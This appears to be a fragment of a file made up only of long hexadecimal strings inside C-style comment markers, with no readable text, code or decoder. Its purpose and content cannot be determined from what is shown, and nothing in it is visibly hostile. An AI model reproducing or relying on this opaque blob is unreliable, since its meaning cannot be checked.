94f8f178b6a2e8175d6189e764d91ee4192a7fa2648397795b7fbff81135d6258f8bd686774a1e9cd4f6cc91fdef8deb383ac53431b8d5548da85bd584568fb2885ae2ad936faec6247f81*/
/*0e0120334938586c13e2b03ab50246f8682bebebb37d0fd78c7ca6880c1b77d065ace2ea8e5954ef0ad48f9e649ed3127172e0b76cb3fd4f73eb84bd4b9fe4414893915189776c26c43a40484bad8f4e550296a6c920f5c4245e8dde3fabbbbd7f490a4ad546e9eec75b1bec49ead5bb195931f322becf1529b02aba4f03123273112c49d5e64be4473b69136b63e43e7979940f023025386dfd0131e2d14f15a2b80ae1c363480104e089712133935673f5ca3e0a083a367dd719e8b61c2594b3ef6cbec2c4074833c0895072de556113a5ec4c558a3e9fa1cd3d9f6a97a83ae27cd769f8141943e675fb0bbb474a2b440369c17db5bb2bdcb8d82dad1188029f068b3299fe5106706fccd237b3bf3c7fd88a2720f8615da166078c0405040c2cfc010ea5a9c9674300bd7e36d5674e2709c06a1900885edcc65522e48b676deae038f0674a6a7334fbf86a3cabcf448ffb82df7a49f19c3dfcea98a9ccd9d168643ded6df2e4008e0b799a63b03b828f267c2504cd2d05115d0e547948a45f3e09775d7348e834f3097dd6ec6dd9ed04a2b3c5ba2873ccccb581acc51031314232a5dea5a48c0de31cf6b3fc025faac3a0ec7daf697abefc1335bb69b2f740f6fffae19569a2229b3272b446aba27cf8be68c5482d7af1a8aae2886044e4b63851b745731760703358199c6978733b59387e5e4ccd48f0153b7e65cc549e9ae01c0c08c44b41156cf2f55a471ffbd4e15aa96c0e0404e93b7befdf4c39f7bcee04e89dd3946b2b7bc97c0122034d7161825192de5cb91019529dce6ef3fa33cfda82f23e470e531dcad03503ec4f17a7f12e9028e861ee4d0cbec8d48b9dd8ccc9b9c1aecd8e280e24baa2104341fd1385987a0d57a4c9ad6038ae55cd3d2dd64dfc19a8499b16148ddc56e60abd5ad718af4068058dc4c6f7ffc867680548711fab5ebd5e2271da7f657a7a5a2d2d58337da46c0ea9541fd560fe7034f6fca58811abef410b5864729a22e34220c193ef4a53464c6934f6320748685b3b9c01c44f405fd1d0ac70a9df9483b22acbc191c5a09f2ef31212a7e2be4b0cb919eb6798e6b8dd0a94aac75d02e50ca70969aa97c2a9494cd47013f6cfcd971c1f93b398f92f881c50c43d2965a91c1d4a16f42489c496b1535c656657f5685928e4220589e98b55efb002581eee25e1f5a4ac9c7e4c34b402c4be0cc676a51c053eac8e472d11c79c315a84f47a46cc9825b24a8878004a4d8061929c3f9fae305ccf5c8b3cde61310b76df1325a053509619c394493899beed4e1204c17d260b0bb18f36301796e1e0d2f88bd895561733bd4c002309b29da2f64855cc9c7b08b663dfab9d1a0de02966518b90add08764efc1b742d3a13eeac18bb972888a3c48864f50617f328180b53757224da83b67b3e43d7454dacd8b266480492b65811309598f3e322de80aa08c511aa48139aebe1b3d4c11b814cd755ae3fa0171680b98979aa106d8fff189958d67a9cb0500677440757e6e5aa865ef1e4d437143232852a6beec4f620e4f07de32939f79e02d8be7dbdc358428f986fa2f546fa26d4a8a875fb242c1392f2a34e95ea534ba2d14e5e09e3a0d19852e164177229901e999cfbc6ffd4476edebbf6e75f24271929203f685a4f311fe18995b787580dac6c8a4e725468e5f8a48551ae7be6a291eb19f2957e98959123256c62f47887c3195bd518c23dd86d7416c5b359202e7fa13a32c7de90c38dfa2e0c0bb93843625293ba0d85e8be1c911bfb931e9f1ea94607d3524bd1f703be9acf5f00b5066f979813c18d34f9855e7ecbc732e0cf0b9f59b1c3bb4bbb5fa2d4e3186354f60f0be0ee8d0d2533dcf5b24e20276ddb7b8625383907668dec531d07d299f62ff24e96cfd07233c6ba452062f6e54d5dc87a62208f9161c78a4ebab4a0814d4c4f70fc6a8f5875d0a21ca55f8cb8878c935da6564330b63142be84195b612f4f36715dc8002af18e065d1b8553d4d6f3cdcabaa7dd6ce016432489811a4790905fdc5c29db5130d7eb7061958b6eb4b28f38fa816d46485be266d1fc2f3e01b7f570a4df8c787af6d9a604734ad175006f14e5a4958da347368c8064534d58996a145ffd38a0d757598d083d8164d70ca81c374c03e308054c6cc536dc056198d5423eb275faf5a3c6855419db99eb705cca2226e47d53c09205a97640919cf7b12600d7f2c6e8d6617876637d26e04b69e827afd63e750e38e37ecd7d5b97bab7deec0f55f94f0da51e622f35b1e550baae5e6a52b75f991000c79460782e51b85c87bdcc19c1dff1bac3d52b7c73a0cb1220803a2f49dff504ef7688064fc989373e959ef3411e4ddf75a86b595b6cbd01511f7840bf752ed1ef8465a86c8f6e02ae6351cebe549c7aeca05c3f8d2a67613379668a2fb476909731f471481683c91c7c1c43314ebbe7344e1d47e90aee41866df59d55a08962e1562ca9a6ea5eb66d3f3719eff0157a75ea39542e4f09dd3bd250bbeb4d4714efabfb9b9859772cb07707bd3a720afc11db0b5f03d85eab112aa561775cbd67392c6e3b8acb47a37d6d9444e9390e176c59d34ab176782a705ef0e176c8c808833d3992ec81fa36e6d1d06815e3d22ea9d1ff8af47b5fbb1915aafada9cb16d5de12944244b339b465cb0541a49e47e23496d526b7bfe8733ec4ca4fe9a057317d8e87026cc42bdb768690517daca848e0d75b60d3f5db5f593dcaca93c077a1b75faed63ffb8e5dd8ac3d29d2b6dc266a78d4955727a651e2ca75d41db0238eb51d78574c4ad3cb64c01ad615d4ffd046d2a25d6e*/
/*9d29b91fb6213afb9d4fbaf75a5954d5275a7e05ad481e52a4f54f8ffff31d61ee21c7cbfb7a3b1d4a6529e12c71dae324d59f318fbe755e0fde5f84e45bc678168f50b03539f96f561ab6582da1b4e8544f68d1e6947d4d8f3f6793e197f197b629f7cdb98b4511844936a5b00fbd9b750b2eb8d3f162858ceaccb7e010d29adf19aa622d59e6b4dffebd006e0164a407bdb2c2eed5313d0b33f185a4a0942e95b5fb6b0ec69d19f15652b0828b324003320d198f3aa0b53993f88695165c74161e59cf8b60ffc57f528d15cddde1bbf8f62350a451ffd6cff6bf3b8fec957658182bc5689b7c741d865b657ec521845a0bdfb90b1840b44f06f33bb0c886832c92d7cd4075a107540d4fd5075b7ad29dc660c57e26f952ef8e364367a6bece17d69d7338920506e48a38225e9f3bb9f863c46b9907993ba888198acc687ff87d5a7e4777cefc6b102af6810b996b0b297f741f1b228fc21bf23735fa1d6fe193eedc3f11afa06d2b5b88fb2c6444d42f2156131eeaa756b9deca5f1a5ca87951f495b637307e47e13d88c1ab9f57f0a06db701a072930aa4761ca28c3e31aeef5087357a2070b73fb53b200e5c093901ec944f7f6099af626e95a1622ed67700bf19e506d21c365542470055c1abac2e44de112b0e67684f0e8b5fe4bb7d18b3c6bcb3f2f3d2cd3ceb160dbde4b5509744324fcdc26ca438e97552c6e529ca235c71bfdf02ae5c35b530e9924b33bfe76d8b96ca52c3cb294e00a60ecdd27fbf5984206c8dd9d4b286bb6b009bd92101513bcde967ba9cec31c5ca5215038c3f424b2ed650799f478fbcbdf4a02455e2e815ce534108e13aac644a11c0d94523ac35c2f5d1104d81fc55e53b13b44d819c52e48493b1d559392fabcabb2303a53f90a53f34562a446a261f13d7d91a0e4874216ab7ed4ec034d9c7eae4246061d3a25259efe605811e231c73018525a95d0f08094c12c336975a929d5a809f4508052e7e5ebc4cf68ba9fa13306a0b9f41de04e0d749bbebde9978b854c93e15d072fd729849875cecbd14ad05d3bdfac4e5fa3a1cd660831cbf6119bf2552e2e99d1baee40f2362e19e5b50a0ec2780bc6a25b3d5ad44aecc560c494fef660a95d362ddf893940bffe6c2bba2f7d50522d1a6d711874227b6ccb0e2163fcc848ac5859ca6410c637bdbb29dce634943f84199588e6ebcf1da4acdf1e76353d9d9ad8bb10ebc76adfa90fda35cc534d9368f9bb516253fcda44935da1022fd04e0f4012ae555170d93f4d72a1a8993b7109979b430d30584f2a0ddb80a35a314cd733cfdfa3309c7e1c1984d92f62c04c2c8f845c0339b11cea83d9be38dcdafae64968628e9f59afb82b40cc41aafaddd4af1f2e155751f5b657a3040b93c6c7507b8ec0d69c6104ddfa7d805073403fee6fa85f3eb212a542bfbbaf0c4041a7d33867a900cec46c23dd5cf8b16c1f266fd96e266e83924beb8f4252ee1e3f4a7c1a6f9a166fc2b77a1877c4c089461536683237612921bae5a274a12d3a9c43703fe66ba5709cd3ec525c4039d8e0f18f870b86736e3810fd326f15dca0f6954007ba3ccf8ae734784b8eb4274edf66cc9b3cb76f29d8242791ecb4df4c0dca529f21e09061de8634f869defff416ca199b56e3954b65496e779c2a2e70c5db7c9507965bd205c34af0d44e3ccd83dd0d16550d5ec4882bfb3e77e5959745fad038cf9489a848069190a21de43f0f6a1a8cbf21e75f738fcc9c721385579d667ddc976f9fb7d5eb37129bddfee21bbe011c1a84e653c7924b61ab200f7e55f804e12fdc3c1b8f8a90e2d1ae451eb3fe2a7731a5e550a152c7912ea8b9b70d2956b22f687e7ee6a6044fa309ff230b85e4ee9446284591996c6435bcccd39fac1cae565b582ad36fb06a71783aded0ff537ea0a040f9ca61a68f678b641c749749467eccf6e4a6349b52f6a6f23575a9825f8604b6d15c21b748702f9d46d901764306e6af156e92fc38f51175b9aae8e9081ae8aaf178c42ee7fb088509cca7fd722435cb2f5d2df79ae4658475f21efdc00798c424e89505a8a0cfa149d11aac1dd41c5004a8547083732bb742b5a1a52db805033ca83ea5f36a704abab41756dc5569e16a2e59b96d3a1b68866ee27d6e8d79ef8baae4849fbd10dc7115005a82d33567e3ef05d1d5c49d817464488ea39565275bd99646bc6c04169c94c63aac3229b481140155b3662d155d6638a6d28d176053b188a20260fbe2c621804a296ce973cb24b7ead00d3ec8f33ebe8679acf7c211bb584212a05193b9efbcdd2e18cfe00731598f17d83808df57f34c344db0e344ec3ea666a65eea7df8f25fcb940ce0b8b7a5ecccf52bf7694f0bc123d30059b4e511f1467495342509eabbce1b67cf1576e3b3833f625d44c2c32f1675af3b9fa460f9ec57db083adf1af23cf5e3cbb8f6435d86454e70b6bda4266f996b918b4412d548b69403f8a4651e3e17f3232f18c75e3e5ab0254a15ed8484a56affc322e59296a858fe7a4ae8882ba6295e34b49b535380a33910826e3719b30e37473c4b41a8d12b4a49b73f137346ea093186cd247ff3f0037ec6a63c4e7a023afd1e502ad6a049dc21747d2d4a989b7e2148c267b68583267a04e1084b77c40f1908dd2794aee910c5a316d15f3563a4c532abe318024f8a713ace02375d882af318f7f7935b58b877d5d435b058a53f92557791b4dbeb733e3f51c83307c2c138dcdd33b09567a44de7f963677e12187709c65c106f96f7665be465dfd5190cd2a2e0e04976b4872b4b02b2bbe915e79c3d314dfdccbdf2e58*/
/*64d26f162db506bc457328ef2c36139c270e67ed3ce5cbbd7390a8811d5198ab6ac0d874f7c6f67deb170a77b5b80e699ce660d2e45556216d8898f17134cf67d8c7b702cb70de2cb14e73516b2cd17722dae7629b866e643d79daafe65a585c989e59c93d2a1316198cf3e7236b4deec1aa1faa54f05286758a0c55813e5c837498f48e1155c05246ecc38c0e29512cb83ad5d2645c565c7929b5fe5d3083db582f259f8f8cea9e647154a8cba7bbb05120b95e27b00ebd2ca722b8f917fed61a51f7f457aed542a629baa2293f320695785ad29c3541eecf754cab393ad70cc031b0251c23df4f9d45711d6ba5140fc338b1910ff269b66ae9197d14111c9cf1caebc6c608300b7e0054fb81eef57fbb71e7c4eb5c294f3649a04ccfe9ea1e0baa26e4acd2ffabe533213cc692d62418f2669dcd8820f3d59f9422190c0341f741d3006c517fb5b237d81841ed05bf11126d23131b42352c18da2fbb71d8140a0fc1a4f00fdcd169a486b0e098314edccb241c6d290f07860240e574c05a2b2d33792162a1860fbd5ae6e8c75217658f48d070a75d602b31179ea73b62e72f18f965899fa5f44df115a55deb9e0ad0d14e3096cbfecaad0c334902ccfcff051a787bbef648d65076031e34c9eba3be2f39bc1daf2fe00e01b85cf6304b4ac47d03ef680aa42f3f7d5d722905072d645b417121d808f4f51c2aa28a88ab33508c36442f913654cae0654f606c330453f926913359009be6f5d59fe810a570fd34a340b1b99743790a3f7ab0f8b91bad8dc7c6ca1c20653c96ce832f41d9076ff2f006a12a72a6af8a016a8d288afbbd7047b4830dcd7c8eea6b4fb4d2a5e5785bed88d2a8e064d8944ffdcaaf1b6a1ac02e096fb0fd8b5768a411c6e07d498387fe45e4d3a84a6026c382270cee20c1831f2f6ce0c4560c681d480fb569f7b57e1893f608d5ce8dcd7386ea96247204ea6d9139ff30eca3e81ff0b47a0e00723dbb40dde149795618eaf001afa2364a4b35438d736cb88865c172f488d48b8e6f5ed2456cff7e3aa90c8a2a4d6928ebbe129dd22fe7bd12aa9b5e8bd1cde622c3bfe54e14dba9f0293289f1200a969c369f8c4907eea7e4ee2d0cce798d3bcaff61db90eccdf0d3f360c303523539c5dcd40b65c49d6c946af151cafbecc5e4972eb11abd946f7ab36ee1b4e82f75d5516148cdd1b0e33393b1f856166fa298ed77d680b71bdee42be0bce9dbe27b1a7517817076d03af4c14d7b867c75fb1ffde0b98160cb8e3b619c7b563936682294f75fb8230ad9ca27fe17582fbe72d8b83071c1a5b1f5b38ed73fabb1fc63dbf6c3a263e86306cf36c1a82ae16cd0dcb2c4f003f4b45c4294a2a1759b533c20ee4a9630cf63cd5f82844185cccb356e49ac57e8956856c127c0a84e2589b51f7371cd457a468e6febf46020e5f1d0264871cf93964c09f47690a9c9b2cbaff5891dd8b772dbfa37d976069ba9f05dbbe261545b6b680a1a899829287effb28b20c56ca8cb075a65f8dbe27b3a33cc18997069a0c55c5ec5626b0afd99b479a777d00d665da8e4a55b97ddcf4ea990b130525c7c2fd3d8e6f029684e44a18be6d0e0af4d2c0fb7033647ea78b860c2d59d75efa6a75f365d60f45e890703fc49b92c1dafed8335cad1d6bff1d22ef1acf2318c4702ee0477ea96eae453332e04a63c5fc0bf796a92861e9802eef03ef003f44503d908675a23b26384d3fb3ab111d177783717d3b7c916e2a300fa2f8a080f152d5810cb55c7acd8a3526f3cdd674872fe95526adddbfbf3dafc94c4e8363c85a1c2c01b9fd4bc8e57fbb4781f475fca729216e9922e859dc737c3626a3541c01a9c4b9e0a93c529a31159d2c80c0cc82a3d026ac7e9919f58ca5f6c4d3d499753572f75e302c51f6337e79ea2b592acb3cc285dc625aa1a2686148d0ae46da5d1cd7ef382bbc66c3b495767b1cb50d7a3ddb47f5061ac7c1fedb2181df0184042f2a77893262bda9190920dbb110bd83fe41251a76ec45fdb765c8e13b41b820013f8a1d96920aefa34f49b0adf789a003af1991c97834e7fb5f4c9fade035920667243ebbdc1c260dcac624250bd434a89d4e287cd42aed8840852ca340deff8b6dfcc947ede82ebe8d00816f47a02a034decfb27fc7de34395f2318fe6c0f8f0ec03a996b8f01e681d9d61e30512c0dbdc972cce7c9abab6c4515b75e480a6e084fcd6a04c1829b2da1c508398182eb1cdaecdc944c4f6f0ba945b2b80901a85a3991743da0ca8339bf6f88f7d094f62a44be2a0b03d135d6a74a6bf5a821e5dd39897043be569941b0bf7e0a82bbbc8d891e42b9703ea3dd4234428c974bb926b173b469fb3f1525c502f88ec5ea337f7a2bacd18444b266ee9fd8a1645cfb4bd9ae07aefa399a15adcf3861034ca74ff10598147702e96efa2338242c716568f5e7aa4232de2831cb71278bcae543dae2c416cd791af0408fecff81e9282b682a10daaaf52b4655a562c64a97a270edc70872beac55050731a508f8130753c1be3135fc35fcb70a9fa301720e5c967062f966c9e34dd500d887017f4077d2f8d05e4c8de19592905131bc870585a51f913e7c9784b6eba7314b8374b6080ae3af486925693e5cef7610fa9948400914e4f437f66fc4ba4ef6b0fa9c2b685ca5c263315a8533c3abb5e0bc17bfc2bf1b84e480ffc551525d5caee64f7984d2af0ea9e379524e255e2e433c53733f35e6caa7cfabbc66899916faf683df1a4a2f1d122d5e9b6aafb22442ff9a03a1d20165301bc10bf7a9792f18154ca7b9436f397be7776a695c406ec095*/
/*2f863270e8e90c1464f157a50da6942311c1f547dd30f9bc5ffa57221f6d97ab552ef1261de6966be901d7b61e353bc357a1a5b86f946b71318ccf858f367d9d1568e019b5757ba03546819240be1e851a28e6e7d403f730b5beb88558b52feece05b9bfd1e2f9f1e78db3040207bfff5ab940bd028378a4d8c70eb3eeab43beaedffb7f72c040e57269e41c2e09fdd2a5311017e324a05ecbe24798714bd310467d290ace4020341bfebd103b45eaa322fb40988d85dd86c49a6cb7409a6b2b805620bf47f6a19825254c4189560cac563d705240e9b295fdeb6f934bb511cf75b85cbfedcfb775e29c51770f0ef879476856c6a98e5638f734e3b609ec1d3bdba884e69faf93fba2e4030a90bbe50529bce7ba409d4e74283b59e35f22744d7f498ad77c9719954b606d416d21f60b78716274a7dee880148233160c133507c2ac14feb07aa09e17e5a84ded5e22b2d61c5e2507d94a76933c6564343880aaa1892a37c21b43b39072a7743d0e9154418b2cafebd002c8fe24befb1e648fc7e18063ebf0dbd4801f7988d3322b3d85b0bb62080a06b8c9a15b668657bacbc7bc1d71955bec24c3ed568c7f61031459ba5bdb9f88afdcaf7eeddddad5388e4bff0fe6dfefc6cfca70d1690d5145f4b3cc61a20b268254690629f4e04f98994e5dd4e1a27a0ca238c8e097cb3fd55b14a152e65847a2b27c994365d1112cf2bbff044bf3e659a2930329f883ec1a6ee5721796f8f5e9964225ff2e3d40794ae2cec74342113eb9e4fe7c1528f5ee53f1cc780436989954a2cf317120ba889b2401aafa7478476acbbdd39d3c3fa007daa99bf7ab2d4007917956b4b777ec80514457ca71fa77f087753fe5fca414ae94341a465ac77d0db38a6dfc7b43fbf4cd28c2fb381897ed704b583d78e59b9facdb2fc0e8563db175462b766af5e7ea7de0aebf7cb2dde89c15824f82c02033e51c257ee3840292df6ef00dc316a19cea39b50465e04a3dbf44fefaa9eba9affe831f3c28f8fe3f0d1578fbf3fafabc353038914754127ee8f12811a0815d54dc601a2e10093b5267e2049a545fcd8c8af5b429e5576fbb82a58c9eb3ad1791dc350a87137a7ee05872b4099e953a27b888e5b5c4758a10ed2dd13e86b3ebd1583344706739cb9381be4bfa3da965004a4b6180a8c72c5d901c776b1d6866ff6fc4de24ee53475cb4f4131e3ef3f47ddc0c246631f70fa097f24866f892901990e1c00c8bf66a0acc75907fbc60704f0d8378695eaa13da6a233c2d967aa6ee0610bd85e2994a33ac736ddabc6742a50a94aa496efac6220774e7e0dbb5ea3df47c596cfbcc9762c27663b2d03db13b8a472d5ad0ab2a02feb258b22eb6c502cd417ce1b65ef8e46737ea5d1fb8245984afc482ba0de20a46bb154a941c0f82430a7670708871420e85e24e4448624436f99c29cc30d7bf74cb215ca02989778d954fb30861561e80c08cae27849327b649aeea34fdede12d7904b43893b4987026c986312f81f11b8ca00ef055fe7858ecb397c2bfbf5d5bae0c54b764f8add86e757c9965e897ad822a5365525d30ff74127e748e5068fd08c801531c561d59bd699aa09e02acd2ae8e323b8b445be2883f8bd2e4bcd58f37694f2a619a7d187bde888cd85658549135d4e7e7ac468cdd0215f2f0a4ab431755dff8bf09620aa0c13db044b3c132481e05dc6950d8ad55e22d2717d2f1832afa6df19fb0fd8faaaf023d46fca43b987fd236ebe9c8ee91cf5c9beab266087df3b5800cdc9c285f1610403419358c0a6db0d3aa46df71f737c992ec9a4976db55b31676c62d798d6663ae926300e78d3b0ce3bb26f49eb93980ea4bb3bba487bc168ecede8d9c93cae8154820a591476565c6386a35448c3a19a5febf49a3b38d239bcb5f55cad883d3e998e97b7065a4cd1aec7f0ce8fe3d6e50a5062ff6b227c929ce391a9de9c3c97942b578ff85e691e5f26409df65dfcdd3ee000d2e63cd518171862fa41edf855f60e5d18333e0117cdcd49c280c6e220eb421fb95c9dd52c2a82cd9ef9a2473dfbb22c22697647d6585e95a318c3bd7e925f302df22d77a589c6618ded57bfbdf07cd663b2dc8e7348d04764aa79791f44e3fc95940f2eecf1454f8d33a506d3d79ecf8aa6a1a4806d084bb0d6476aa58316d73df1217c92b76329687b2d65592f47ea16e92b76e314ddd9697f0e499dacc40886cb35782e401c86fe7848a34f352ca34ce12339ba702aa5bf5c64cc0e31dd477909d3aa2294f274db2a9a1397640d00d3146e06e35ec0678aef40975fbfd8b24e0b721b5bbce2ba0d1f78eeb3e7d200b215a6e0628e04a8d39678b24e0d65e9f237a243d283c4399457add5803bb6ff381393736998368af17bdb914886f3212cf6cab40e3908d16ea42be52a05c0709bc6a74adc963bb3b5e33f1bdd130ecdbadb82f8629de5c3ba87d066567f052b9067883aae5657e735691e456a410ee3ea1a43dcd390cfb04498c1c07d6f84ba0f78fcb51114983525226b8975f2ff469c1753058b0805294b50981af4dd4a40ffa61d71f8192097ea076c95639a79c2ee7ef90a5669dfcd1ff06d68b31cdf81eb25d2876f81e07d42e0061f23ef933351303fc105fe7edef0f25f2a7336ba292c25db857698d5a0de1042230abde3bcc70daf4bc64a67b0ed45348b8c13e97ac11cfc6629fc9ab16b17b14bf9ec8ddf845b991194992e3e5f158c1f3580408c822af0bf91e2b7420b5eea9ab47e5035a56aaa4e38989984cab1bbf2e0838bcfd9d9d51912c66a61be20599cb30074652fd62515adcea83611e*/
/*4e63c8e532df19a40b95b02b74aa1121aab20f2786090e05d3ac49cd9184c80d4eb50b19be3b192ba76780a0fa283805163518d6f68c4cc2d5aedfc251376de3dce9612430a86a923d33d21e4b5d46815a1770c620355353c6128a6d09c0b242cb209417506bd35733d49a1f41e437cfaf7a692b203edd17e62eaad8653cd2e1492cdb4b2c53598ffb437d5952e113f7063eef7d959a897f1fe0ba9229440bfc94786f35d1e503d97f285816614c47298ae63ddc02fcee6468353fa3b42ad53f669138f851e450754f0d995e5f59f3208cea23e84f47ce4c4901fa37e7398583866570f202b905b5c4d12e39a2c3d7c9bd4771d1240daa6cf84576d41b70c30f36195ffca0650b326327f7e19ccb7acb9dff2136660c03eefca2869d1a26f155dfb9ad6b4d53f4cf5aa3815c4a00eb368dff9b5d708536d2e572a6419272a22c752ed528e5d20aa523a53e8f26f67b33900ff3119e13657c776e79a899301a6a6cdc5e1ac6f19e9021a994f2b08a6f002008171184dafd6f1889243a6e8b8bcc83e91ea73c405ad4efeb8261d59780dcc640ac912cae94e052438361d6ce4f036dc5ad368a3cdbceebf53163253e61b80444265f15f7280b5cc52e9bd0fb373992d79387bcfc4bfd333d341cfb6b9e29bf8901b3f8e3c2554afdae9856e5fd2870716401eee249bb7b68caf84dc29e5847b655317cd77f62bc981e98e55c23381de14ff11e0004ce4e6863ffbba2b3e93e742b233968fe0dabf8b97d031619069958a0da86e668e6154fcfd04c0e19ae369f82ec4eeb1c229cd4671ccbd85f4616aaf03101f3e962fe438e967d251fecbcb04972a717ef23fa0b2c2e4d002cc30e7faf59ed984a59c19a452a9d2eae07b3dd368745a0fdf1198c86b890965bd42f22b48bd35d0f62e0b2f576b4043a3c59d3133888766fbe931915ae0da43fd1dc87ff78fa94bc41abbfa85b83dc4bde66a3e8f5faa5d96422b0f7978f27521e12513eb2d6726be550e442564723eee2b8818db1a5f4212db738b55006efa709c9acc50dbfe4bd01afa5afef9f6eb9078259899921bf7458a607e5d192878b789230da583b0cb849b9b7ba63bb34402607239d357341ea387cae0dcb8a47e35077f8bffdd2abc761484105893c337bfa0a931d17af3f1267cfaacb20c2cb023cb78eed0bd8060ac5d1abcf523ab129debc7a0942772f0a274b32f86047fb388e54d6c5b3fd339414dcb6e270ee7575051074656cb57c47933899ab1c50502a9ee0da76d59595a250b08a30a6b781714659799f970ceef656a2ae263b590b41b654cdb90185e9c648bb04c793a433ba9247d0991d9bba66cfa052c83242c31b92aed20b3b26ce18aa91806e15473b51ec3d11a34a24c5d58517c840d77bc003875a2ec2a270e4a014f5f5cd9b137c4a383947e8b1614cc09d4a70e7e978b303445f96a877f8893de449d347a59b12183caeb1cac6c8519723399e1362443b2ea1fd3d695ca3df5be6333ff728e162bdccc82e5e02fdb9ff2258db5ed807b803d5db0e4544175a6a4e9c43aa81c706db780e6864615d53824974abc117ebabb67b92d189bce8a013991a10ef8007eb158e13e6802719eb3902c75b313f17f1390f25ba3f9ac8ddf4616af90ee76c1acb9a3105bfb6d5e5c8058b0fce2b6b7ff795b3c1c88ca9d86e5311ca9af5345a69adea90b964240257dce55670b8f7a1d2caf516126ecad87c6298bb853eaccc7492dbeda8ccb98921a7eb23daf2a1ba0cb41b68fa845cbde4bb41ce34d3a7a62fe2c33d1900af1c29a9e65c526bf7edbf821d8f1bb035b00d479c43b2152205b431bc3ba9671d56579de548a5f875063259584f47aa94b9dd3aa73e8ccd93369a6daf93211efbbbfd9851d227f611fac565905f2c4da47c37ac6cb062981a0dec96720ce19752928de2960d6bb7b9fe90acc4c28e541e88ef25165090a3581aebe081d9018dae9da44d88a582970a746b246b1f3fc5852187876ee3aa58f00cfdc9f22a06d6127768cb3f4de755d20a420b1aa2e05c228f043102f66ddb8cb1a4e869a33e1b1e19e236d90a20106d8ade58c4cee871b8a295cb3facf729fd5e605442454a3a332fe035c4f326bb53bb555b37ca00fed7e2600a6a15179e4ac7144f5e3d202903aee4520e3b600868860f0a33ee4b3b4100c358f479000bc78f2666cdb37b3161dee49901992483c73bcc24c136109494ceb38d519f2db468c535546b96f0f521ac48916e49603134bcae99f816a1f352e979bf4a03c2c6254c3e44d10fa6533782fe395c2572b2c2231cebf62adbdc6f159722253565d0f8dd8fb36454126ebd091d354336f351609520dc4ad4d9f0ed8a5f0926a966036fd67991f1185cb93569577cb0b7674cd4c2efe50253ba1eda2b114c9ef92586ca47c9dfb71c2dc2430d5b090e6b32e4a90af7de13f6fcf0b60292101b1b0c64f4566badfbf2aa09bb541da2c9f7b8481fbd2a0ac43f6ac9cb71c3d4235c15d32b8470646d2ed88e91f5e7e2a27d819baa8580a65a58e58a01bdd0b5d6d575781f759abb10773548413cfd88aba3a4a3cf0392c826dafef86451edb54412b30514bc4730a1d8645fdfd9ccf6b7294f53aecf58aa5065159183df7e4ef77202c90a5619a0ca57544f4d2be60bf2feb9a0f2803f626d58a884c2c163dd307697a9cd7a55fcedb6da81e197a0e923ce72360ad938dde09776dabe5693fa34eda4f626dcd45bb48fa4fc1c02c40213d465b1cffc27cdda221ea2a9f67aa478c2b72c37806df16a479af8d1aa0a2ddeec9fc8e157e6c4e743b89153e49dc3944399213458f8e0*/
/*cd9de21e342d74143852eaab58c361495520390e934e1e79cfede9615046c862445fb4fdc9e1c82d6b5d4c4d72d4e246c7eb71b10ce6215344b69cf3ca4b9da4167cc7d587f84aebda7b1dc6288c3adeb2eac926b81758f04a367fdc6dc9071f33bd36084526863a990b201d2fc9ed3369a580c2f8651561f0058961cff29ecc6a9c50d59615595a933cf1d942902c9a52d33fde1aa822bbadc52a379dc48f510ddbef73fd4a418895fcec1e907f46875c4f43fddd4c61c71e9f810d4c934f2a1f23c3476df41d6475298dfa586da642b4825b6d24cc7bda2d7860fb6c342e0a1970f8c5b629c3f41d5493f89d9bdf56a8447bdc74d1d92044361e015f10cc4afb57f2a2a2ab413937d464ddbc4a11fdda46aaf04fbdce7c30ae6be917e6a790a445a8a91cee444b598b8b798cfb16fa720e2a7eae81d7399bc637beb62f5c5a527d3ff26f35afc49402d6c2943f15e4b4aaa13343f908916cba020863ec99036282966572b49e6fef675259218141d82d5e3d3e469c48b829c6c847594c3ead52a1087ec3a62950560746e11c3b20f38857f5a646939bef41dd468f179e4db43e114f18684f9c4379e22bb5d3517a0e011d49c4d1e78830e97127c303cb223a363bd2d8df9e5ad1f40a820fdc2d4c8b415f2761de4e5bd959ffa1609c229eae3394ab86236198fcb2902fecb974b1c25e67a89f86da38e498159f134fc17290fc2a52107885c8bf0bf2c5ff57d168364bfe4144787ad2b4532d98fab0af70b1f8999e63407979822f4e2bedd2b4ce72a19514bf8c92a33ef34825ebd5fee5c91d78ce2d81a7c9b615c88b4f52c44e7726b6089805a0ba1f4c9876c7c80b57405ed239db69dcd59a9114e592d0f0f30a9b4c94f210318ba1b52fc3198b965ad1d6ecd68fa3aaa13c57a17b6bfc580eed9b96139feb0b53c8a21fc524b0f5d62374cb24d80eb7288fcdf8eacf65bb3b4dd0dc61590647e9b2f96e7c3944e153ea95144d1b0e059ce4a7e7c3aeb3dc2e5de5da8d855aa4d5fe940eed5b009842c9dc6afb243e62324491ea14b03212844b7d4d88f9e97c786a435f8c3ae7fa0bdf6aa72ce108e6bd59e4f58fc921482764be4617033fe00ee6ae281373fddf9d92a93dcf8b818f896732674f9a5f59397f2ae57369b2d91b53393333659f29b649a53550f29ca63f8d6c99d8ebcba5d926f28a8ad47e629dfa6c57b0bd7f370b88396ea12c6c17fbe7ee5693352b034990c834cdf1aa75b7d0f71c9f258987d23d667891de89f6a16f102695eb897fd4b66880692c50b3a0e1059904a6e167d7e27abc8499fd227a0ec0e20494f4fbf3f0752a9fecaa2cfb3363d03c5d7877b3064c038d9966e775adfbd71c16bf5f8f1fa80c167e6e3081e69d786a057552b081fd488d469edd8049efd9a6c696180e769dcecd30d721c369bf3576652fa3eccfbcef8307b19cc93865d14bbaae3ed43020c71d1faff4fb0204939fb7671edca684beee3461eb8cb4271b7d91c315e42db41407f7ddaa36ce461b0282921408d5ee53ecd61294299f58e30ecbc8c8f09b14fa2c25e17d3ebe2b6f26e9b8ce93729bd62a1f00bb36c79f70d631549d7db3bc725be3301a0c83be8c8efeca504df44ff6a997d4aeb7ad32210899298494d2674a5600f8a52a46e4049eeee84875b70bb19e037a1f1703f87d1129820ef7cb6e73498734e0ae50305113c1e8bae7db0fc9229e732b3c6557ee7617d8b7cafa01c73923ba855165246c9d2dc5211755ff52abd0398b3e3c9fac533a790db7a58482d302a57ed60a1b7f5a6495398f362528456cf7d39545085d51b36f905903760b260f5f5080b4c5303790dcce60cf9c4c570b7f98ab81b74ba9a593827219684ab3ce0a15c2337ef8555536f8dc6f963aede1cd3ac06a5bef25c7075ca86fbb639773812463f0906e62d840e6c7f7eadd16345ff88f91dd18270302a3590e05834c06c8902dab912549dc47c97893a22b4b0641b62dd89a67d52841d94bd3c90f49d2411a457367bccea85c94096f288e9f9503e5a2e1add